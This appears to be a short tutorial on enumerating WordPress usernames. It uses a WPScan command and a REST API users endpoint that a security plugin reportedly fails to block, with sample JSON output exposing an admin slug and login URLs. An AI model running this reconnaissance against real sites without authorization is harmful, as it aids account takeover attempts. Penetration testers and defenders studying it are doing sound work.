We will use wpscan tool for scan a wordpress site....
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.25
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
Here is the command for the scan.
wpscan --url https://target.com --enumerate u
the REST API allows simulating different request types. As such, we can
perform a POST request with the “users” string in the body of the request,
and tell the REST API to act like it’s received a GET request.
You can see the management username in the "slug" feature. And even
security plugins like "iThemes Security" do not block this path.
https://target.com/wp-json/?rest_route=/wp/v2/users/
[{"id":1,"name":"admin","url":"https://target.com
","description":"","link":"https://target.com
/?author=1","slug":"admin_1l","avatar_urls":{"24":"https://
secure.gravatar.com
/avatar/f796ffd8af7172647b2f54ce8104919e?s=24&d=mm&r=g","48":"https://
secure.gravatar.com
/avatar/f796ffd8af7172647b2f54ce8104919e?s=48&d=mm&r=g","96":"https://
secure.gravatar.com
/avatar/f796ffd8af7172647b2f54ce8104919e?s=96&d=mm&r=g"},"meta":[],"_links":{"self":[{"href":"https://
target.com
/index.php?rest_route=/wp/v2/users/1"}],"collection":[{"href":"https://
target.com/index.php?rest_route=/wp/v2/users"}]}}]
https://target.com/wp-admin
https://target.com/login.php